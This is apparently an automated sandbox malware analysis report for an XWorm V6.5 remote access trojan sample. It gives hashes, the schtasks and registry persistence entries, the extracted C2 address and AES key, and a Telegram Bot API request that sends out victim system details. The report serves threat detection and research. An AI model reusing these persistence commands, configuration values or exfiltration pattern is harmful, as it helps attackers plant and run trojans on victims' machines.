| File name: | trungtammmo.vn.exe |
| Full analysis: | https://app.any.run/tasks/26b20493-e0d8-4685-aa3f-07e8a719d251 |
| Verdict: | Malicious activity |
| Threats: | Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links. |
| Analysis date: | March 28, 2026, 17:05:12 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections |
| MD5: | D6137C49F0B427AB2BECDB261EC00D24 |
| SHA1: | AB344BA36518FBA3A8DE46592748BA8BA54C7351 |
| SHA256: | 196AA27006AAD1B2D798E6304974EC0A12F4409973AE1C3B154012B90B48E603 |
| SSDEEP: | 768:Uh7d3zjTAGMYO5toGpMyiGnyIe+U4XFf9baX6KO1h1igP:Od3SL/pPfUUFf9by6KO1LHP |
| .exe | | | Generic CIL Executable (.NET, Mono, etc.) (56.7) |
|---|---|---|
| .exe | | | Win64 Executable (generic) (21.3) |
| .scr | | | Windows screen saver (10.1) |
| .dll | | | Win32 Dynamic Link Library (generic) (5) |
| .exe | | | Win32 Executable (generic) (3.4) |
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2026:03:28 17:02:39+00:00 |
| ImageFileCharacteristics: | Executable, 32-bit |
| PEType: | PE32 |
| LinkerVersion: | 11 |
| CodeSize: | 40960 |
| InitializedDataSize: | 2048 |
| UninitializedDataSize: | - |
| EntryPoint: | 0xbfae |
| OSVersion: | 4 |
| ImageVersion: | - |
| SubsystemVersion: | 4 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 1.1.1.1 |
| ProductVersionNumber: | 1.1.1.1 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Win32 |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | Neutral |
| CharacterSet: | Unicode |
| CompanyName: | boss2.us.com |
| FileDescription: | boss2.us.com |
| FileVersion: | 1.1.1.1 |
| InternalName: | trungtammmo.vn.exe |
| LegalCopyright: | 2026 |
| LegalTrademarks: | boss2.us.com |
| OriginalFileName: | trungtammmo.vn.exe |
| ProductName: | boss2.us.com |
| ProductVersion: | 1.1.1.1 |
| AssemblyVersion: | 1.1.1.1 |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2232 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2304 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | schtasks.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2652 | "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "XWormClient" /tr "C:\Users\admin\AppData\Roaming\XWormClient.exe" | C:\Windows\System32\schtasks.exe | — | trungtammmo.vn.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Task Scheduler Configuration Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5168 | "C:\Users\admin\AppData\Roaming\XWormClient.exe" | C:\Users\admin\AppData\Roaming\XWormClient.exe | — | svchost.exe | |||||||||||
User: admin Company: boss2.us.com Integrity Level: MEDIUM Description: boss2.us.com Exit code: 0 Version: 1.1.1.1 Modules
| |||||||||||||||
| 7484 | "C:\Users\admin\AppData\Local\Temp\trungtammmo.vn.exe" | C:\Users\admin\AppData\Local\Temp\trungtammmo.vn.exe | explorer.exe | ||||||||||||
User: admin Company: boss2.us.com Integrity Level: MEDIUM Description: boss2.us.com Version: 1.1.1.1 Modules
XWorm(PID) Process(7484) trungtammmo.vn.exe C2 (1)trungtammmo.vn:6000 Keys AES<666666> Options Splitter<XWormmm> Sleep time1 USB drop nameXWorm V6.5 by c3lestial.fun Mutex0mQpaQQs5lxriqnh | |||||||||||||||
| (PID) Process: | (7484) trungtammmo.vn.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | XWormClient |
Value: C:\Users\admin\AppData\Roaming\XWormClient.exe | |||
| (PID) Process: | (7484) trungtammmo.vn.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\trungtammmo_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (7484) trungtammmo.vn.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\trungtammmo_RASAPI32 |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (7484) trungtammmo.vn.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\trungtammmo_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (7484) trungtammmo.vn.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\trungtammmo_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: | |||
| (PID) Process: | (7484) trungtammmo.vn.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\trungtammmo_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
| (PID) Process: | (7484) trungtammmo.vn.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\trungtammmo_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (7484) trungtammmo.vn.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\trungtammmo_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (7484) trungtammmo.vn.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\trungtammmo_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (7484) trungtammmo.vn.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\trungtammmo_RASMANCS |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 7484 | trungtammmo.vn.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XWormClient.lnk | binary | |
MD5:4B6C0752B9ED90BE3E151E278F44B461 | SHA256:90AED53AE4B7AA2F20A0E634F7C3E8E315E5B46B8D670003356D2B76140412C5 | |||
| 7484 | trungtammmo.vn.exe | C:\Users\admin\AppData\Roaming\XWormClient.exe | executable | |
MD5:D6137C49F0B427AB2BECDB261EC00D24 | SHA256:196AA27006AAD1B2D798E6304974EC0A12F4409973AE1C3B154012B90B48E603 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
5276 | MoUsoCoreWorker.exe | GET | 304 | 4.231.128.59:443 | https://settings-win.data.microsoft.com/settings/v3.0/OneSettings/Client?OSVersionFull=10.0.19045.4046.amd64fre.vb_release.191206-1406&LocalDeviceID=s%3ABAD99146-31D3-4EC6-A1A4-BE76F32BA5D4&FlightRing=Retail&AttrDataVer=186&OSUILocale=en-US&OSSkuId=48&App=WOSC&AppVer=&IsFlightingEnabled=0&TelemetryLevel=1&DeviceFamily=Windows.Desktop | US | — | — | whitelisted |
5276 | MoUsoCoreWorker.exe | GET | 304 | 4.231.128.59:443 | https://settings-win.data.microsoft.com/settings/v3.0/wsd/muse?ProcessorClockSpeed=3094&FlightIds=&UpdateOfferedDays=4294967295&BranchReadinessLevel=CB&OEMManufacturerName=DELL&IsCloudDomainJoined=0&ProcessorIdentifier=AMD64%20Family%2023%20Model%201%20Stepping%202&sku=48&ActivationChannel=Retail&AttrDataVer=186&IsMDMEnrolled=0&ProcessorCores=6&ProcessorModel=AMD%20Ryzen%205%203500%206-Core%20Processor&TotalPhysicalRAM=6144&PrimaryDiskType=4294967295&FlightingBranchName=&ChassisTypeId=1&OEMModelNumber=DELL&SystemVolumeTotalCapacity=260281&sampleId=95271487&deviceClass=Windows.Desktop&App=muse&DisableDualScan=0&AppVer=10.0&OEMSubModel=J5CR&locale=en-US&IsAlwaysOnAlwaysConnectedCapable=0&ms=0&DefaultUserRegion=244&UpdateServiceUrl=http%3A%2F%2Fneverupdatewindows10.com&osVer=10.0.19045.4046.amd64fre.vb_release.191206-1406&os=windows&deviceId=s%3ABAD99146-31D3-4EC6-A1A4-BE76F32BA5D4&DeferQualityUpdatePeriodInDays=0&ring=Retail&DeferFeatureUpdatePeriodInDays=30 | US | — | — | whitelisted |
6796 | SIHClient.exe | GET | 304 | 135.233.95.144:443 | https://slscr.update.microsoft.com/SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.4046/0?CH=686&L=en-US&P=&PT=0x30&WUA=10.0.19041.3996&MK=DELL&MD=DELL | US | — | — | whitelisted |
— | — | GET | 200 | 204.79.197.203:80 | http://oneocsp.microsoft.com/ocsp/MFQwUjBQME4wTDAJBgUrDgMCGgUABBQ3L3%2F%2Fa6ADK8NraY2GXzVaYrHG4AQUb6t%2B2v%2BXQ3LsO2d33oJhNYhHQoUCEzMAAAAGb6JMMcOVb6sAAAAAAAY%3D | US | binary | 959 b | whitelisted |
7484 | trungtammmo.vn.exe | GET | 404 | 149.154.166.110:443 | https://api.telegram.org/bottrungtammmo.vn/sendMessage?chat_id=trungtammmo.vn&text=%E2%98%A0%20%5BXWorm%20V6.5%20by%20c3lestial.fun%5D%0D%0A%0D%0ANew%20CLient%20:%20%0D%0ACAECEB6F4379122BA468%0D%0A%0D%0AUserName%20:%20admin%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20AMD%20Ryzen%205%203500%206-Core%20Processor%0D%0AGPU%20:%20Microsoft%20Basic%20Display%20Adapter%20%0D%0ARAM%20:%205.99%20GB%0D%0AGroup%20:%20XWorm%20V6.5%20by%20c3lestial.fun | VG | text | 55 b | malicious |
6796 | SIHClient.exe | GET | 200 | 135.233.95.135:443 | https://fe3cr.delivery.mp.microsoft.com/clientwebservice/ping | US | — | — | whitelisted |
6796 | SIHClient.exe | GET | 200 | 135.233.95.144:443 | https://slscr.update.microsoft.com/sls/ping | US | — | — | whitelisted |
6796 | SIHClient.exe | GET | 304 | 135.233.95.144:443 | https://slscr.update.microsoft.com/SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.4046/0?CH=686&L=en-US&P=&PT=0x30&WUA=10.0.19041.3996&MK=DELL&MD=DELL | US | — | — | whitelisted |
5316 | svchost.exe | GET | 200 | 172.66.2.5:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAz1vQYrVgL0erhQLCPM8GY%3D | US | binary | 471 b | whitelisted |
5316 | svchost.exe | POST | 200 | 20.190.160.66:443 | https://login.live.com/RST2.srf | US | xml | 1.24 Kb | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
5392 | svchost.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
4 | System | 192.168.100.255:137 | — | Not routed | — | whitelisted |
5276 | MoUsoCoreWorker.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
5532 | SearchApp.exe | 92.123.104.13:443 | www.bing.com | AKAMAI-ASN1 | NL | whitelisted |
— | — | 128.24.231.64:443 | activation-v2.sls.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
— | — | 172.66.2.5:80 | ocsp.digicert.com | CLOUDFLARENET | US | whitelisted |
— | — | 204.79.197.203:80 | oneocsp.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
4 | System | 192.168.100.255:138 | — | Not routed | — | whitelisted |
3428 | svchost.exe | 172.211.123.250:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
7484 | trungtammmo.vn.exe | 149.154.166.110:443 | api.telegram.org | TELEGRAM | VG | whitelisted |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
www.bing.com |
| whitelisted |
activation-v2.sls.microsoft.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
oneocsp.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
api.telegram.org |
| whitelisted |
login.live.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
2232 | svchost.exe | Misc activity | ET HUNTING Telegram API Domain in DNS Lookup |
7484 | trungtammmo.vn.exe | Misc activity | ET HUNTING Telegram API Certificate Observed |
7484 | trungtammmo.vn.exe | Misc activity | ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI) |
7484 | trungtammmo.vn.exe | A Network Trojan was detected | STEALER [ANY.RUN] Generic Stealer Data Exfil via Telegram API (OS info) |
7484 | trungtammmo.vn.exe | A Network Trojan was detected | STEALER [ANY.RUN] Generic Stealer Data Exfil via Telegram API (GPU info) |
7484 | trungtammmo.vn.exe | Misc activity | ET HUNTING Telegram API Request (GET) |
7484 | trungtammmo.vn.exe | A Network Trojan was detected | STEALER [ANY.RUN] Generic Stealer Data Exfil via Telegram API (CPU info) |
7484 | trungtammmo.vn.exe | Successful Credential Theft Detected | RAT [ANY.RUN] XWorm check-in via Telegram API |
7484 | trungtammmo.vn.exe | Potentially Bad Traffic | SUSPICIOUS [ANY.RUN] Telegram Bot API request (/sendMessage) |
5392 | svchost.exe | Unknown Traffic | ET USER_AGENTS Microsoft Dr Watson User-Agent (MSDW) |